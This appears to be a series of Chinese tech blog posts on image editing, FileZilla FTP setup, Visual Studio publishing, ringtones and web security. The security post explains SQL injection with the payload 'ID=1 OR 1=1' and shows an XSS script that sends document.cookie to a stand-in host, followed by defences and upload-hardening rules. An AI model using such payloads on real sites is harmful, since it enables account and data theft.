1. 首先我们在 PS 里面插入一张 LOGO 图片，如图所示

   

2. 将鼠标移动到 PS 左侧的工具栏的橡皮擦工具，单击右键看到弹出小菜单，选择“背景橡皮擦工具”，然后移动到上方红圈位置，选择“取样：一次”。设置合适的“容差”

   

3. 把鼠标移动到背景色处，按住 ALT 键，点击一下背景色进行取样。

   

4. 然后我们对背景色进行涂抹，把背景色都涂掉我们可以达到图中效果

   

本文介绍使用 Fireworks 将一个彩色 LOGO 图片改为单色的方法。

原图：

处理后的图片：

步骤：

一、选中图层，菜单 - 滤镜 - 调整颜色 - 色相/饱和度...，将亮度调整为 100

二、导出一次再打开

三、在工具箱中找到长按“橡皮图章”工具，选择“替换颜色”工具，将样本设为 #FFFFFF，终止设为希望的颜色，如 #C4D0D9

四、涂抹图层上的文字就大功告成啦

安装过程就不介绍了，主要记一下被动模式和端口开放设置。

FileZilla Server 默认以 21 端口安装，阿里云的安全组配置“入方向”规则：

协议类型：自定义 TCP，端口范围：21/21，授权对象 0.0.0.0/0

如果要配置“被动模式”，那么在 FileZilla Server 菜单中选择“Edit”- Settings

切换到“Passive mode settings”，打勾“Use custom port range”，并填写端口范围，譬如 30000-40000，确定。

同样在阿里云安全组中配置“入方向”规则：

协议类型：自定义 TCP，端口范围：30000/40000，授权对象 0.0.0.0/0

这样就可以使用被动模式连接了。

如果无法连接，可尝试打开 Windows Server 2016 的“服务器管理器”，选择右上角“工具”-“高级安全 Windows 防火墙”-“入站规则”-“新建规则”，将上述端口设为允许连接。

可能 VS2017 目前还没有完善这个功能，只能选择发布到文件夹再通过 FTP 工具上传到服务器，期待 VS2017 更新。

参考资料：

https://stackoverflow.com/questions/43162185/trouble-publishing-net-core-project-in-vs-2017?rq=1

https://developercommunity.visualstudio.com/content/problem/24972/publish-not-working-in-vs-2017-ide.html

https://developercommunity.visualstudio.com/content/problem/34104/ftp-publish-finishs-published-successfully-without.html

2017-8-15 最新版的 Visual Studio 2017 (version 15.3) 已经解决了这个问题，前往下载更新

解决方法：安装最新的 .NET Core runtime 即可：https://www.microsoft.com/net/download/core#/runtime

（Windows Server 上选择 Windows Server Hosting (x64 & x86)）

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

在使用 VS 2015 修改 C# 5 项目时，如果使用了 C# 6 的新特性，会提示：

功能“空传播运算符”在 C# 5 中不可用。请使用语言版本 6 或更高版本。

升级到 C# 6 很简单，在 VS 菜单中依次点击：

项目 - 启用 C# 6 / VB 14(#)

选择需要升级的项目，确定即可。

收录了一些个人觉得不错的网页开发插件。

由于插件更新频繁，本页如有错误请指正，也欢迎告知更多功能强大、使用方便的插件。

程序设计规范：

• 【推荐】上传的文件直接保存到文件存储服务（如阿里云 OSS），这样即使被上传了后门 shell，对网站服务器也不会有影响。

• 否则必须通过文件头来确定文件类型，检查文件十六进制的文件头和文件尾是否合法，并检查文件流中是否包含 php、evel 等字符。

• 不可直接使用客户端文件名来保存文件，特别是后缀名/扩展名。应生成随机文件名，并通过检验文件头来确定文件类型。必须由程序指定保存目录。

• 使用 OSS 的应直接上传，不要在 ECS 上临时存放或备份。如必须存放的，应按上述规范操作。

服务器安全设置

CentOS + nginx + PHP：

• 全站文件取消属性中的“执行”权限（chmod），因为这个“执行”与运行 PHP 无关。而需要上传文件的“目录”需要“执行”权限，原因是需要往该目录创建文件。
  

• 仅需要写入的目录或文件设置“写入”权限。如上传图片目录、ThinkPHP 的 Runtime 目录。

• 凡可写目录或文件均不允许运行 PHP / PY 等 除需要被直接访问的 PHP / PY 文件，其它动态文件均不允许被访问到，在 nginx 的配置文件中添加项，参：https://xoyozo.net/Blog/Details/nginx-location-if，若全站使用统一的入口文件访问，那么设置仅该文件允许运行 PHP 即可。通过 IO 方式被其它文件包含的文件，无需运行 PHP 权限。（“deny all”对 include 起作用，但对 IO 不起作用，因此 Runtime 目录可以继续为 ThinkPHP 提供缓存服务。）这一步非常有用。

• 使用与 nginx 网站用户不同的用户来部署网站文件，如宝塔面板 PHP 使用 www 用户，那么就使用 root 或其它新用户来上传文件，否则将导致全站目录和文件可写。有条件的建议不同网站使用不同的用户，可防止一个网站被入侵后导致其它网站文件或磁盘上的其它文件被泄露的风险（2022年10月2日从宝塔官方社区获悉，宝塔面板暂不支持使用非 www 用户创建并运行网站）。

Windows Server + IIS + ASP.NET：

• 配置每个磁盘的安全属性，拒绝“IIS_IUSRS”这个用户组的所有权限。只要设置驱动器即可，子文件夹和文件会自动继承。若运行 .NET Framework 项目，需要设置 C:\Windows\Microsoft.NET\Framework\v*.*.*****\Temporary ASP.NET Files\ 目录可修改写入权限，.NET Core 项目不需要此设置。

• 为每个网站创建一个新用户，仅隶属于“IIS_IUSRS”。网站根目录安全属性添加该用户，权限选择“读取”。（已测取消“读取与执行”不影响 PHP，“列出文件夹内容”视业务需求开启，建议关闭）。仅需要上传文件的目录或文件设置“修改”、“写入”权限。（修改对应修改文件，写入对应上传文件）

• IIS 网站中设置“物理路径凭据”以及应用程序池的“标识”。

• IIS 中设置写入目录的“处理程序映射”无脚本。

本文适用且不限于 iTunes 12.5，在 Windows 上实现。

iPhone / iPad 的铃声文件是 .m4r 格式的，可以通过 iTunes 将 .mp3 /.wav 等其它格式的音乐文件转换成 .m4r 文件。

打开 iTunes

菜单栏选择：文件 - 将文件添加到资料库 - 从文件资源管理器中选择要作为铃声的音乐文件

如果要截取其中一段音乐作为铃声，则在资料库中右键该音乐 - 显示简介 - 选项，设置开始和停止时间，长度不能超过 40 秒

在资料库中将其选中，菜单栏选择：文件 - 转换 - 创建 AAC 版本

此时在资料库中会多出一个音乐来，右键单击，在 Windows 资源管理器中显示，我们可以看到以原音乐文件名命名的 .m4a 文件（如果看不到扩展名，则在菜单上点击 查看，选中“文件扩展名”即可）

将该文件扩展名改为 .m4r

铃声做好了，怎样导入到手机上呢？简单的答案是用 iTools，其实上面制作铃声的过程也可以用 iTools 一键实现，哈~哈哈~哈哈哈~